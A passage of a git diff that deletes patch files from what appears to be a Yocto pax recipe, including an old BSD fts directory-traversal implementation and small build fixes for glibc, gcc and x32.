-- * names themselves. Note, that since fts_read won't be able to
-- * chdir into the directory, it will have to return different path
-- * names than before, i.e. "a/b" instead of "b". Since the node
-- * has already been visited in pre-order, have to wait until the
-- * post-order visit to return the error. There is a special case
-- * here, if there was nothing to stat then it's not an error to
-- * not be able to stat. This is all fairly nasty. If a program
-- * needed sorted entries or stat information, they had better be
-- * checking FTS_NS on the returned nodes.
-- */
-- cderrno = 0;
-- if (nlinks || type == BREAD) {
-- if (fts_safe_changedir(sp, cur, dirfd(dirp), NULL)) {
-- if (nlinks && type == BREAD)
-- cur->fts_errno = errno;
-- cur->fts_flags |= FTS_DONTCHDIR;
-- descend = 0;
-- cderrno = errno;
-- (void)closedir(dirp);
-- dirp = NULL;
-- } else
-- descend = 1;
-- } else
-- descend = 0;
--
-- /*
-- * Figure out the max file name length that can be stored in the
-- * current path -- the inner loop allocates more path as necessary.
-- * We really wouldn't have to do the maxlen calculations here, we
-- * could do them in fts_read before returning the path, but it's a
-- * lot easier here since the length is part of the dirent structure.
-- *
-- * If not changing directories set a pointer so that can just append
-- * each new name into the path.
-- */
-- len = NAPPEND(cur);
-- if (ISSET(FTS_NOCHDIR)) {
-- cp = sp->fts_path + len;
-- *cp++ = '/';
-- } else {
-- /* GCC, you're too verbose. */
-- cp = NULL;
-- }
-- len++;
-- maxlen = sp->fts_pathlen - len;
--
-- level = cur->fts_level + 1;
--
-- /* Read the directory, attaching each entry to the `link' pointer. */
-- doadjust = 0;
-- for (head = tail = NULL, nitems = 0; dirp && (dp = readdir(dirp));) {
-- if (!ISSET(FTS_SEEDOT) && ISDOT(dp->d_name))
-- continue;
--
-- if ((p = fts_alloc(sp, dp->d_name, (int)_D_EXACT_NAMLEN (dp))) == NULL)
-- goto mem1;
-- if (_D_EXACT_NAMLEN (dp) >= maxlen) {/* include space for NUL */
-- oldaddr = sp->fts_path;
-- if (fts_palloc(sp, _D_EXACT_NAMLEN (dp) + len + 1)) {
-- /*
-- * No more memory for path or structures. Save
-- * errno, free up the current structure and the
-- * structures already allocated.
-- */
--mem1: saved_errno = errno;
-- if (p)
-- free(p);
-- fts_lfree(head);
-- (void)closedir(dirp);
-- cur->fts_info = FTS_ERR;
-- SET(FTS_STOP);
-- errno = saved_errno;
-- return (NULL);
-- }
-- /* Did realloc() change the pointer? */
-- if (oldaddr != sp->fts_path) {
-- doadjust = 1;
-- if (ISSET(FTS_NOCHDIR))
-- cp = sp->fts_path + len;
-- }
-- maxlen = sp->fts_pathlen - len;
-- }
--
-- if (len + _D_EXACT_NAMLEN (dp) >= 0x10000) {
-- /*
-- * In an FTSENT, fts_pathlen is a u_short so it is
-- * possible to wraparound here. If we do, free up
-- * the current structure and the structures already
-- * allocated, then error out with ENAMETOOLONG.
-- */
-- free(p);
-- fts_lfree(head);
-- (void)closedir(dirp);
-- cur->fts_info = FTS_ERR;
-- SET(FTS_STOP);
-- errno = ENAMETOOLONG;
-- return (NULL);
-- }
-- p->fts_level = level;
-- p->fts_parent = sp->fts_cur;
-- p->fts_pathlen = len + _D_EXACT_NAMLEN (dp);
--
--#if defined FTS_WHITEOUT && 0
-- if (dp->d_type == DT_WHT)
-- p->fts_flags |= FTS_ISW;
--#endif
--
-- if (cderrno) {
-- if (nlinks) {
-- p->fts_info = FTS_NS;
-- p->fts_errno = cderrno;
-- } else
-- p->fts_info = FTS_NSOK;
-- p->fts_accpath = cur->fts_accpath;
-- } else if (nlinks == 0
--#if defined DT_DIR && defined _DIRENT_HAVE_D_TYPE
-- || (nostat &&
-- dp->d_type != DT_DIR && dp->d_type != DT_UNKNOWN)
--#endif
-- ) {
-- p->fts_accpath =
-- ISSET(FTS_NOCHDIR) ? p->fts_path : p->fts_name;
-- p->fts_info = FTS_NSOK;
-- } else {
-- /* Build a file name for fts_stat to stat. */
-- if (ISSET(FTS_NOCHDIR)) {
-- p->fts_accpath = p->fts_path;
-- memmove(cp, p->fts_name, p->fts_namelen + 1);
-- } else
-- p->fts_accpath = p->fts_name;
-- /* Stat it. */
-- p->fts_info = fts_stat(sp, p, 0);
--
-- /* Decrement link count if applicable. */
-- if (nlinks > 0 && (p->fts_info == FTS_D ||
-- p->fts_info == FTS_DC || p->fts_info == FTS_DOT))
-- --nlinks;
-- }
--
-- /* We walk in directory order so "ls -f" doesn't get upset. */
-- p->fts_link = NULL;
-- if (head == NULL)
-- head = tail = p;
-- else {
-- tail->fts_link = p;
-- tail = p;
-- }
-- ++nitems;
-- }
-- if (dirp)
-- (void)closedir(dirp);
--
-- /*
-- * If realloc() changed the address of the path, adjust the
-- * addresses for the rest of the tree and the dir list.
-- */
-- if (doadjust)
-- fts_padjust(sp, head);
--
-- /*
-- * If not changing directories, reset the path back to original
-- * state.
-- */
-- if (ISSET(FTS_NOCHDIR)) {
-- if (len == sp->fts_pathlen || nitems == 0)
-- --cp;
-- *cp = '\0';
-- }
--
-- /*
-- * If descended after called from fts_children or after called from
-- * fts_read and nothing found, get back. At the root level we use
-- * the saved fd; if one of fts_open()'s arguments is a relative path
-- * to an empty directory, we wind up here with no other way back. If
-- * can't get back, we're done.
-- */
-- if (descend && nitems == 0 &&
-- (cur->fts_level == FTS_ROOTLEVEL ?
-- FCHDIR(sp, sp->fts_rfd) :
-- fts_safe_changedir(sp, cur->fts_parent, -1, ".."))) {
-- cur->fts_info = FTS_ERR;
-- SET(FTS_STOP);
-- return (NULL);
-- }
--
-- /* If didn't find anything, return NULL. */
-- if (!nitems) {
-- if (type == BREAD)
-- cur->fts_info = FTS_DP;
-- return (NULL);
-- }
--
-- /* Sort the entries. */
-- if (sp->fts_compar && nitems > 1)
-- head = fts_sort(sp, head, nitems);
-- return (head);
--}
--
--static u_short
--fts_stat(sp, p, follow)
-- FTS *sp;
-- register FTSENT *p;
-- int follow;
--{
-- register FTSENT *t;
-- register dev_t dev;
-- register ino_t ino;
-- struct stat *sbp;
-- int saved_errno;
--
-- /* If user needs stat info, stat buffer already allocated. */
-- sbp = p->fts_statp;
--
--#if defined FTS_WHITEOUT && 0
-- /* check for whiteout */
-- if (p->fts_flags & FTS_ISW) {
-- if (sbp != &sb) {
-- memset(sbp, '\0', sizeof (*sbp));
-- sbp->st_mode = S_IFWHT;
-- }
-- return (FTS_W);
-- }
--#endif
--
-- /*
-- * If doing a logical walk, or application requested FTS_FOLLOW, do
-- * a stat(2). If that fails, check for a non-existent symlink. If
-- * fail, set the errno from the stat call.
-- */
-- if (ISSET(FTS_LOGICAL) || follow) {
-- if (stat(p->fts_accpath, sbp)) {
-- saved_errno = errno;
-- if (!lstat(p->fts_accpath, sbp)) {
-- errno = 0;
-- return (FTS_SLNONE);
-- }
-- p->fts_errno = saved_errno;
-- goto err;
-- }
-- } else if (lstat(p->fts_accpath, sbp)) {
-- p->fts_errno = errno;
--err: memset(sbp, 0, sizeof(struct stat));
-- return (FTS_NS);
-- }
--
-- if (S_ISDIR(sbp->st_mode)) {
-- /*
-- * Set the device/inode. Used to find cycles and check for
-- * crossing mount points. Also remember the link count, used
-- * in fts_build to limit the number of stat calls. It is
-- * understood that these fields are only referenced if fts_info
-- * is set to FTS_D.
-- */
-- dev = p->fts_dev = sbp->st_dev;
-- ino = p->fts_ino = sbp->st_ino;
-- p->fts_nlink = sbp->st_nlink;
--
-- if (ISDOT(p->fts_name))
-- return (FTS_DOT);
--
-- /*
-- * Cycle detection is done by brute force when the directory
-- * is first encountered. If the tree gets deep enough or the
-- * number of symbolic links to directories is high enough,
-- * something faster might be worthwhile.
-- */
-- for (t = p->fts_parent;
-- t->fts_level >= FTS_ROOTLEVEL; t = t->fts_parent)
-- if (ino == t->fts_ino && dev == t->fts_dev) {
-- p->fts_cycle = t;
-- return (FTS_DC);
-- }
-- return (FTS_D);
-- }
-- if (S_ISLNK(sbp->st_mode))
-- return (FTS_SL);
-- if (S_ISREG(sbp->st_mode))
-- return (FTS_F);
-- return (FTS_DEFAULT);
--}
--
--static FTSENT *
--fts_sort(sp, head, nitems)
-- FTS *sp;
-- FTSENT *head;
-- register int nitems;
--{
-- register FTSENT **ap, *p;
--
-- /*
-- * Construct an array of pointers to the structures and call qsort(3).
-- * Reassemble the array in the order returned by qsort. If unable to
-- * sort for memory reasons, return the directory entries in their
-- * current order. Allocate enough space for the current needs plus
-- * 40 so don't realloc one entry at a time.
-- */
-- if (nitems > sp->fts_nitems) {
-- struct _ftsent **a;
--
-- sp->fts_nitems = nitems + 40;
-- if ((a = realloc(sp->fts_array,
-- (size_t)(sp->fts_nitems * sizeof(FTSENT *)))) == NULL) {
-- free(sp->fts_array);
-- sp->fts_array = NULL;
-- sp->fts_nitems = 0;
-- return (head);
-- }
-- sp->fts_array = a;
-- }
-- for (ap = sp->fts_array, p = head; p; p = p->fts_link)
-- *ap++ = p;
-- qsort((void *)sp->fts_array, nitems, sizeof(FTSENT *), sp->fts_compar);
-- for (head = *(ap = sp->fts_array); --nitems; ++ap)
-- ap[0]->fts_link = ap[1];
-- ap[0]->fts_link = NULL;
-- return (head);
--}
--
--static FTSENT *
--fts_alloc(sp, name, namelen)
-- FTS *sp;
-- const char *name;
-- register int namelen;
--{
-- register FTSENT *p;
-- size_t len;
--
-- /*
-- * The file name is a variable length array and no stat structure is
-- * necessary if the user has set the nostat bit. Allocate the FTSENT
-- * structure, the file name and the stat structure in one chunk, but
-- * be careful that the stat structure is reasonably aligned. Since the
-- * fts_name field is declared to be of size 1, the fts_name pointer is
-- * namelen + 2 before the first possible address of the stat structure.
-- */
-- len = sizeof(FTSENT) + namelen;
-- len += sizeof(struct stat) + ALIGNBYTES;
-- if ((p = malloc(len)) == NULL)
-- return (NULL);
--
-- /* Copy the name and guarantee NUL termination. */
-- memmove(p->fts_name, name, namelen);
-- p->fts_name[namelen] = '\0';
--
-- p->fts_statp = (struct stat *)ALIGN(p->fts_name + namelen + 2);
-- p->fts_namelen = namelen;
-- p->fts_path = sp->fts_path;
-- p->fts_errno = 0;
-- p->fts_flags = 0;
-- p->fts_instr = FTS_NOINSTR;
-- p->fts_number = 0;
-- p->fts_pointer = NULL;
-- return (p);
--}
--
--static void
--fts_lfree(head)
-- register FTSENT *head;
--{
-- register FTSENT *p;
--
-- /* Free a linked list of structures. */
-- while ((p = head)) {
-- head = head->fts_link;
-- free(p);
-- }
--}
--
--/*
-- * Allow essentially unlimited paths; find, rm, ls should all work on any tree.
-- * Most systems will allow creation of paths much longer than MAXPATHLEN, even
-- * though the kernel won't resolve them. Add the size (not just what's needed)
-- * plus 256 bytes so don't realloc the path 2 bytes at a time.
-- */
--static int
--fts_palloc(sp, more)
-- FTS *sp;
-- size_t more;
--{
-- char *p;
--
-- sp->fts_pathlen += more + 256;
-- /*
-- * Check for possible wraparound. In an FTS, fts_pathlen is
-- * a signed int but in an FTSENT it is an unsigned short.
-- * We limit fts_pathlen to USHRT_MAX to be safe in both cases.
-- */
-- if (sp->fts_pathlen < 0 || sp->fts_pathlen >= 0x10000) {
-- if (sp->fts_path) {
-- free(sp->fts_path);
-- sp->fts_path = NULL;
-- }
-- sp->fts_path = NULL;
-- errno = ENAMETOOLONG;
-- return (1);
-- }
-- p = realloc(sp->fts_path, sp->fts_pathlen);
-- if (p == NULL) {
-- free(sp->fts_path);
-- sp->fts_path = NULL;
-- return 1;
-- }
-- sp->fts_path = p;
-- return 0;
--}
--
--/*
-- * When the path is realloc'd, have to fix all of the pointers in structures
-- * already returned.
-- */
--static void
--fts_padjust(sp, head)
-- FTS *sp;
-- FTSENT *head;
--{
-- FTSENT *p;
-- char *addr = sp->fts_path;
--
--#define ADJUST(p) do { \
-- if ((p)->fts_accpath != (p)->fts_name) { \
-- (p)->fts_accpath = \
-- (char *)addr + ((p)->fts_accpath - (p)->fts_path); \
-- } \
-- (p)->fts_path = addr; \
--} while (0)
-- /* Adjust the current set of children. */
-- for (p = sp->fts_child; p; p = p->fts_link)
-- ADJUST(p);
--
-- /* Adjust the rest of the tree, including the current level. */
-- for (p = head; p->fts_level >= FTS_ROOTLEVEL;) {
-- ADJUST(p);
-- p = p->fts_link ? p->fts_link : p->fts_parent;
-- }
--}
--
--static size_t
--fts_maxarglen(argv)
-- char * const *argv;
--{
-- size_t len, max;
--
-- for (max = 0; *argv; ++argv)
-- if ((len = strlen(*argv)) > max)
-- max = len;
-- return (max + 1);
--}
--
--/*
-- * Change to dir specified by fd or p->fts_accpath without getting
-- * tricked by someone changing the world out from underneath us.
-- * Assumes p->fts_dev and p->fts_ino are filled in.
-- */
--static int
--fts_safe_changedir(sp, p, fd, path)
-- FTS *sp;
-- FTSENT *p;
-- int fd;
-- const char *path;
--{
-- int ret, oerrno, newfd;
-- struct stat sb;
--
-- newfd = fd;
-- if (ISSET(FTS_NOCHDIR))
-- return (0);
-- if (fd < 0 && (newfd = open(path, O_RDONLY, 0)) < 0)
-- return (-1);
-- if (fstat(newfd, &sb)) {
-- ret = -1;
-- goto bail;
-- }
-- if (p->fts_dev != sb.st_dev || p->fts_ino != sb.st_ino) {
-- errno = ENOENT; /* disinformation */
-- ret = -1;
-- goto bail;
-- }
-- ret = fchdir(newfd);
--bail:
-- oerrno = errno;
-- if (fd < 0)
-- (void)close(newfd);
-- errno = oerrno;
-- return (ret);
--}
-diff --git a/lib/fts.h b/lib/fts.h
-deleted file mode 100644
-index 58846b9..0000000
---- a/lib/fts.h
-+++ /dev/null
-@@ -1,131 +0,0 @@
--/*
-- * Copyright (c) 1989, 1993
-- * The Regents of the University of California. All rights reserved.
-- *
-- * Redistribution and use in source and binary forms, with or without
-- * modification, are permitted provided that the following conditions
-- * are met:
-- * 1. Redistributions of source code must retain the above copyright
-- * notice, this list of conditions and the following disclaimer.
-- * 2. Redistributions in binary form must reproduce the above copyright
-- * notice, this list of conditions and the following disclaimer in the
-- * documentation and/or other materials provided with the distribution.
-- * 4. Neither the name of the University nor the names of its contributors
-- * may be used to endorse or promote products derived from this software
-- * without specific prior written permission.
-- *
-- * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
-- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
-- * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
-- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
-- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
-- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
-- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
-- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
-- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
-- * SUCH DAMAGE.
-- *
-- * @(#)fts.h 8.3 (Berkeley) 8/14/94
-- */
--
--#ifndef _FTS_H
--#define _FTS_H 1
--
--#include <features.h>
--#include <sys/types.h>
--
--typedef struct {
-- struct _ftsent *fts_cur; /* current node */
-- struct _ftsent *fts_child; /* linked list of children */
-- struct _ftsent **fts_array; /* sort array */
-- dev_t fts_dev; /* starting device # */
-- char *fts_path; /* path for this descent */
-- int fts_rfd; /* fd for root */
-- int fts_pathlen; /* sizeof(path) */
-- int fts_nitems; /* elements in the sort array */
-- int (*fts_compar) (const void *, const void *); /* compare fn */
--
--#define FTS_COMFOLLOW 0x0001 /* follow command line symlinks */
--#define FTS_LOGICAL 0x0002 /* logical walk */
--#define FTS_NOCHDIR 0x0004 /* don't change directories */
--#define FTS_NOSTAT 0x0008 /* don't get stat info */
--#define FTS_PHYSICAL 0x0010 /* physical walk */
--#define FTS_SEEDOT 0x0020 /* return dot and dot-dot */
--#define FTS_XDEV 0x0040 /* don't cross devices */
--#define FTS_WHITEOUT 0x0080 /* return whiteout information */
--#define FTS_OPTIONMASK 0x00ff /* valid user option mask */
--
--#define FTS_NAMEONLY 0x0100 /* (private) child names only */
--#define FTS_STOP 0x0200 /* (private) unrecoverable error */
-- int fts_options; /* fts_open options, global flags */
--} FTS;
--
--typedef struct _ftsent {
-- struct _ftsent *fts_cycle; /* cycle node */
-- struct _ftsent *fts_parent; /* parent directory */
-- struct _ftsent *fts_link; /* next file in directory */
-- long fts_number; /* local numeric value */
-- void *fts_pointer; /* local address value */
-- char *fts_accpath; /* access path */
-- char *fts_path; /* root path */
-- int fts_errno; /* errno for this node */
-- int fts_symfd; /* fd for symlink */
-- u_short fts_pathlen; /* strlen(fts_path) */
-- u_short fts_namelen; /* strlen(fts_name) */
--
-- ino_t fts_ino; /* inode */
-- dev_t fts_dev; /* device */
-- nlink_t fts_nlink; /* link count */
--
--#define FTS_ROOTPARENTLEVEL -1
--#define FTS_ROOTLEVEL 0
-- short fts_level; /* depth (-1 to N) */
--
--#define FTS_D 1 /* preorder directory */
--#define FTS_DC 2 /* directory that causes cycles */
--#define FTS_DEFAULT 3 /* none of the above */
--#define FTS_DNR 4 /* unreadable directory */
--#define FTS_DOT 5 /* dot or dot-dot */
--#define FTS_DP 6 /* postorder directory */
--#define FTS_ERR 7 /* error; errno is set */
--#define FTS_F 8 /* regular file */
--#define FTS_INIT 9 /* initialized only */
--#define FTS_NS 10 /* stat(2) failed */
--#define FTS_NSOK 11 /* no stat(2) requested */
--#define FTS_SL 12 /* symbolic link */
--#define FTS_SLNONE 13 /* symbolic link without target */
--#define FTS_W 14 /* whiteout object */
-- u_short fts_info; /* user flags for FTSENT structure */
--
--#define FTS_DONTCHDIR 0x01 /* don't chdir .. to the parent */
--#define FTS_SYMFOLLOW 0x02 /* followed a symlink to get here */
-- u_short fts_flags; /* private flags for FTSENT structure */
--
--#define FTS_AGAIN 1 /* read node again */
--#define FTS_FOLLOW 2 /* follow symbolic link */
--#define FTS_NOINSTR 3 /* no instructions */
--#define FTS_SKIP 4 /* discard node */
-- u_short fts_instr; /* fts_set() instructions */
--
-- struct stat *fts_statp; /* stat(2) information */
-- char fts_name[1]; /* file name */
--} FTSENT;
--
--__BEGIN_DECLS
--
--#define fts_children pax_fts_children
--#define fts_close pax_fts_close
--#define fts_open pax_fts_open
--#define fts_read pax_fts_read
--#define fts_set pax_fts_set
--
--FTSENT *fts_children (FTS *, int);
--int fts_close (FTS *);
--FTS *fts_open (char * const *, int,
-- int (*)(const FTSENT **, const FTSENT **));
--FTSENT *fts_read (FTS *);
--int fts_set (FTS *, FTSENT *, int) __THROW;
--__END_DECLS
--
--#endif /* fts.h */
-diff --git a/lib/vis.h b/lib/vis.h
-index d34d342..71fa5f4 100644
---- a/lib/vis.h
-+++ b/lib/vis.h
-@@ -73,14 +73,19 @@
- */
- #define UNVIS_END 1 /* no more characters */
-
--#include <sys/cdefs.h>
-+#ifndef __P
-+#define __P(x) x
-+#endif
-
--__BEGIN_DECLS
-+#ifdef __cplusplus
-+extern "C" {
-+#endif
- char *vis __P((char *, int, int, int));
- int strvis __P((char *, const char *, int));
- int strvisx __P((char *, const char *, size_t, int));
- int strunvis __P((char *, const char *));
- int unvis __P((char *, char, int *, int));
--__END_DECLS
--
-+#ifdef __cplusplus
-+}
-+#endif
- #endif /* !_VIS_H_ */
-diff --git a/src/Makefile.am b/src/Makefile.am
-index 5ef52a3..227cdef 100644
---- a/src/Makefile.am
-+++ b/src/Makefile.am
-@@ -22,4 +22,4 @@ pax_SOURCES = ar_io.c ar_subs.c buf_subs.c cache.c cpio.c\
- file_subs.c ftree.c gen_subs.c getoldopt.c options.c\
- pat_rep.c pax.c sel_subs.c tables.c tar.c tty_subs.c
-
--pax_LDADD = $(top_builddir)/lib/libbsdfunc.a
-+pax_LDADD = $(top_builddir)/lib/libbsdfunc.a -lfts
-diff --git a/src/extern.h b/src/extern.h
-index 361fa81..3ed365d 100644
---- a/src/extern.h
-+++ b/src/extern.h
-@@ -37,8 +37,6 @@
- * External references from each source file
- */
-
--#include <sys/cdefs.h>
--
- /*
- * ar_io.c
- */
-diff --git a/src/file_subs.c b/src/file_subs.c
-index 5590ff1..15bc339 100644
---- a/src/file_subs.c
-+++ b/src/file_subs.c
-@@ -52,7 +52,7 @@
- #include "extern.h"
-
- static int
--mk_link __P((register char *,register struct stat *,register char *, int));
-+mk_link (register char *,register struct stat *,register char *, int);
-
- /*
- * routines that deal with file operations such as: creating, removing;
-diff --git a/src/tables.c b/src/tables.c
-index 2275bf7..8fddca4 100644
---- a/src/tables.c
-+++ b/src/tables.c
-@@ -39,7 +39,7 @@
- #include <sys/time.h>
- #include <sys/stat.h>
- #include <sys/param.h>
--#include <sys/fcntl.h>
-+#include <fcntl.h>
- #include <stdio.h>
- #include <string.h>
- #include <unistd.h>
---
-2.6.4
-
diff --git a/meta/recipes-extended/pax/pax/0001-include-sys-sysmacros.h-for-major-minor-definitions.patch b/meta/recipes-extended/pax/pax/0001-include-sys-sysmacros.h-for-major-minor-definitions.patch
deleted file mode 100644
index 1d969bc34a..0000000000
--- a/meta/recipes-extended/pax/pax/0001-include-sys-sysmacros.h-for-major-minor-definitions.patch
+++ /dev/null
@@ -1,65 +0,0 @@
-From 7f4f379f8343c0ce92aa30f3f9037288a089a902 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sun, 18 Dec 2016 08:24:56 +0000
-Subject: [PATCH] include <sys/sysmacros.h> for major/minor definitions
-
-glibc 2.25 will error out if the applications are expecting
-this to come from sys/types.h, it is being removed from
-there.
-
-Fixes
-
-error: In the GNU C Library, "minor" is defined
-| by <sys/sysmacros.h>. For historical compatibility, it is
-| currently defined by <sys/types.h> as well, but we plan to
-| remove this soon. To use "minor", include <sys/sysmacros.h>
-| directly. If you did not intend to use a system-defined macro
-| "minor", you should undefine it after including <sys/types.h>. [-Werror]
-| ul_oct ((u_long) MINOR (arcn->sb.st_rdev), hd->devminor,
-| ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- src/cpio.c | 2 +-
- src/gen_subs.c | 2 +-
- src/tar.c | 2 +-
- 3 files changed, 3 insertions(+), 3 deletions(-)
-
-Index: pax-3.4/src/cpio.c
-===================================================================
---- pax-3.4.orig/src/cpio.c
-+++ pax-3.4/src/cpio.c
-@@ -36,6 +36,7 @@
- #include "config.h"
- #endif
-
-+#include <sys/sysmacros.h>
- #include <sys/types.h>
- #include <sys/time.h>
- #include <sys/stat.h>
-Index: pax-3.4/src/gen_subs.c
-===================================================================
---- pax-3.4.orig/src/gen_subs.c
-+++ pax-3.4/src/gen_subs.c
-@@ -37,6 +37,7 @@
- #include "config.h"
- #endif
-
-+#include <sys/sysmacros.h>
- #include <sys/types.h>
- #include <sys/time.h>
- #include <sys/stat.h>
-Index: pax-3.4/src/tar.c
-===================================================================
---- pax-3.4.orig/src/tar.c
-+++ pax-3.4/src/tar.c
-@@ -37,6 +37,7 @@
- #include "config.h"
- #endif
-
-+#include <sys/sysmacros.h>
- #include <sys/types.h>
- #include <sys/time.h>
- #include <sys/stat.h>
diff --git a/meta/recipes-extended/pax/pax/0001-use-strtoll-instead-of-strtoq.patch b/meta/recipes-extended/pax/pax/0001-use-strtoll-instead-of-strtoq.patch
deleted file mode 100644
index 58ac9ce4a0..0000000000
--- a/meta/recipes-extended/pax/pax/0001-use-strtoll-instead-of-strtoq.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From b1f50320332c9c90fa33ab136ef0ec2d12cda461 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 6 Jan 2016 12:30:52 -0800
-Subject: [PATCH] use strtoll instead of strtoq
-
-Use LLONG_MAX instead of LONG_LONG_MAX
-LONG_LONG_MAX is GNU specific
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- src/options.c | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/src/options.c b/src/options.c
-index da8b4cf..c663b4e 100644
---- a/src/options.c
-+++ b/src/options.c
-@@ -1547,8 +1547,8 @@ str_offt (char *val)
-
- #if (SIZEOF_LONG == 4 && SIZEOF_OFF_T == 8) \
- || (defined(_FILE_OFFSET_BITS) && _FILE_OFFSET_BITS == 64)
-- num = strtoq (val, &expr, 0);
-- if ((num == LONG_LONG_MAX) || (num <= 0) || (expr == val))
-+ num = strtoll (val, &expr, 0);
-+ if ((num == LLONG_MAX) || (num <= 0) || (expr == val))
- #else
- num = strtol (val, &expr, 0);
- if ((num == LONG_MAX) || (num <= 0) || (expr == val))
---
-2.6.4
-
diff --git a/meta/recipes-extended/pax/pax/fix_for_compile_with_gcc-4.6.0.patch b/meta/recipes-extended/pax/pax/fix_for_compile_with_gcc-4.6.0.patch
deleted file mode 100644
index 88779c3bbd..0000000000
--- a/meta/recipes-extended/pax/pax/fix_for_compile_with_gcc-4.6.0.patch
+++ /dev/null
@@ -1,25 +0,0 @@
-Upstream-Status: Pending
-
-This patch fixes this compiler error with gcc 4.6.0
-
-Nitin A Kamble <nitin.a.kamble@intel.com> 2011/05/08
-
-| fts.c: In function 'pax_fts_set':
-| fts.c:469:7: error: parameter 'sp' set but not used [-Werror=unused-but-set-parameter]
-| cc1: all warnings being treated as errors
-|
-| make[2]: *** [fts.o] Error 1
-
-Index: pax-3.4/lib/fts.c
-===================================================================
---- pax-3.4.orig/lib/fts.c
-+++ pax-3.4/lib/fts.c
-@@ -466,7 +466,7 @@ name: t = sp->fts_path + NAPPEND(p->fts
- /* ARGSUSED */
- int
- fts_set(sp, p, instr)
-- FTS *sp;
-+ FTS __attribute__((__unused__)) *sp;
- FTSENT *p;
- int instr;
- {
diff --git a/meta/recipes-extended/pax/pax/pax-3.4_fix_for_x32.patch b/meta/recipes-extended/pax/pax/pax-3.4_fix_for_x32.patch
deleted file mode 100644
index 7adbd02972..0000000000
--- a/meta/recipes-extended/pax/pax/pax-3.4_fix_for_x32.patch
+++ /dev/null
@@ -1,185 +0,0 @@
-Upstream-Status: Pending
-
-Author: H.J. Lu <hjl.tools@gmail.com>
-Date: Tue Dec 6 10:34:53 2011 -0800
-
- Fix pax-3.4 build for x32
-
- off_t is 8byte for x32. We need to check both _FILE_OFFSET_BITS and
- size of off_t to see if file offset is 64bit. This patch adds
- AC_CHECK_SIZEOF(off_t) and checks SIZEOF_OFF_T == 8.
-
-Signed-off-by: Nitin A Kamble <nitin.a.kamble@intel.com> 2011/12/06
-
-Index: pax-3.4/configure.in
-===================================================================
---- pax-3.4.orig/configure.in
-+++ pax-3.4/configure.in
-@@ -33,4 +33,7 @@ dnl Checks for header files.
- dnl Checks for typedefs, structures, and compiler characteristics.
- AC_C_CONST
-
-+AC_CHECK_SIZEOF(off_t)
-+AC_CHECK_SIZEOF(long)
-+
- AC_OUTPUT([Makefile lib/Makefile src/Makefile])
-Index: pax-3.4/src/ar_io.c
-===================================================================
---- pax-3.4.orig/src/ar_io.c
-+++ pax-3.4/src/ar_io.c
-@@ -378,7 +378,8 @@ ar_close(void)
- * could have written anything yet.
- */
- if (frmt == NULL) {
--#if defined(_FILE_OFFSET_BITS) && _FILE_OFFSET_BITS == 64
-+#if (SIZEOF_LONG == 4 && SIZEOF_OFF_T == 8) \
-+ || (defined(_FILE_OFFSET_BITS) && _FILE_OFFSET_BITS == 64)
- (void)fprintf(listf, "%s: unknown format, %qu bytes skipped.\n",
- #else
- (void)fprintf(listf, "%s: unknown format, %lu bytes skipped.\n",
-@@ -391,7 +392,8 @@ ar_close(void)
-
- if (strcmp(NM_CPIO, argv0) == 0)
- (void)fprintf(listf,
--#if defined(_FILE_OFFSET_BITS) && _FILE_OFFSET_BITS == 64
-+#if (SIZEOF_LONG == 4 && SIZEOF_OFF_T == 8) \
-+ || (defined(_FILE_OFFSET_BITS) && _FILE_OFFSET_BITS == 64)
- "%qu blocks\n",
- #else
- "%lu blocks\n",
-@@ -399,7 +401,8 @@ ar_close(void)
- (rdcnt ? rdcnt : wrcnt) / 5120);
- else if (strcmp(NM_TAR, argv0) != 0)
- (void)fprintf(listf,
--#if defined(_FILE_OFFSET_BITS) && _FILE_OFFSET_BITS == 64
-+#if (SIZEOF_LONG == 4 && SIZEOF_OFF_T == 8) \
-+ || (defined(_FILE_OFFSET_BITS) && _FILE_OFFSET_BITS == 64)
- "%s: %s vol %d, %lu files, %qu bytes read, %qu bytes written.\n",
- #else
- "%s: %s vol %d, %lu files, %lu bytes read, %lu bytes written.\n",
-Index: pax-3.4/src/cpio.c
-===================================================================
---- pax-3.4.orig/src/cpio.c
-+++ pax-3.4/src/cpio.c
-@@ -218,7 +218,8 @@ rd_ln_nm (ARCHD *arcn)
- */
- if ((arcn->sb.st_size == 0) ||
- (arcn->sb.st_size >= (off_t) sizeof(arcn->ln_name))) {
--#if defined(_FILE_OFFSET_BITS) && _FILE_OFFSET_BITS == 64
-+#if (SIZEOF_LONG == 4 && SIZEOF_OFF_T == 8) \
-+ || (defined(_FILE_OFFSET_BITS) && _FILE_OFFSET_BITS == 64)
- paxwarn (1, "Cpio link name length is invalid: %qu",
- arcn->sb.st_size);
- #else
-Index: pax-3.4/src/gen_subs.c
-===================================================================
---- pax-3.4.orig/src/gen_subs.c
-+++ pax-3.4/src/gen_subs.c
-@@ -133,7 +133,8 @@ ls_list (ARCHD *arcn, time_t now, FILE *
- * print device id's for devices, or sizes for other nodes
- */
- if ((arcn->type == PAX_CHR) || (arcn->type == PAX_BLK))
